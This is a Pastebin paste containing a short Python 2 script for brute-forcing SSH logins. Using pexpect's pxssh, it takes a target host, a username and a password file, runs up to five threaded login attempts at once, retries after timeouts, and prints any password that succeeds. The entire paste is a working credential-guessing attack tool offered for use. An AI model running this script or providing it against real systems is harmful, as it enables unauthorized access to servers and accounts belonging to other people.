Guest User

Untitled

a guest
May 17th, 2018
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. import argparse
  2. import time
  3. from pexpect import pxssh
  4. from threading import *
  5.  
  6. Fails = 0
  7. Found = False
  8. max_connections = 5
  9. connection_lock =BoundedSemaphore(value=max_connections)
  10.  
  11. def connect(host,user,password,release):
  12. global Fails
  13. global Found
  14. try:
  15. s = pxssh.pxssh()
  16. s.login(host,user,password)
  17. print 'User Found and password is : ' + password
  18. Found = True
  19.  
  20. except Exception, e:
  21. if 'read_nonblocking' in str(e):
  22. Fails += 1
  23. time.sleep(5)
  24. connect(host,user,password,False)
  25. elif 'synchronize with original prompt' in str(e):
  26. time.sleep(1)
  27. connect(host,user,password,False)
  28. finally:
  29. if release: connection_lock.release()
  30. def main():
  31. parser = argparse.ArgumentParser()
  32. parser.add_argument('-ho','--host',help='Host to be bruted',type=str)
  33. parser.add_argument('-u','--user',help='Username to be checked',type=str)
  34. parser.add_argument('-p','--password',help='Password file',type=str)
  35. args = parser.parse_args()
  36. user = args.user
  37. host = args.host
  38. passwordFile = args.password
  39. if host == None or user == None or passwordFile == None:
  40. print "./scrpit.py --host host --user username --password PasswordFile"
  41. exit(0)
  42. file1 = open(passwordFile, 'r')
  43. for line in file1.readlines():
  44. if Found:
  45. print "Password Found"
  46. exit(0)
  47. if Fails > 5:
  48. print "Exit too many timeout"
  49. exit(0)
  50. connection_lock.acquire()
  51. password = line.strip('\r').strip('\n')
  52. print "Testing password " + str(password)
  53. t = Thread(target=connect, args=(host,user,password,True))
  54. child = t.start()
  55. if __name__ == "__main__":
  56. main()
Add Comment
Please, Sign In to add comment